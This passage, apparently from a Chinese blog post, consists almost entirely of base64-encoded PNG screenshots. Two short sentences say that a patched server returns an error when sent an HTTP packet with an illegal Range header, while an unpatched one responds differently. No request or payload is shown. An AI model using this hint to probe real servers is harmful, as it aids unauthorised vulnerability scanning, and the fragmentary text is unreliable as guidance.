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" alt="" />
打完补丁以后当你提交了包含非法range头字段的http包的时候, 系统会报上面的错误。
如果没打补丁你看到的就是下面这样:
aaarticlea/png;base64,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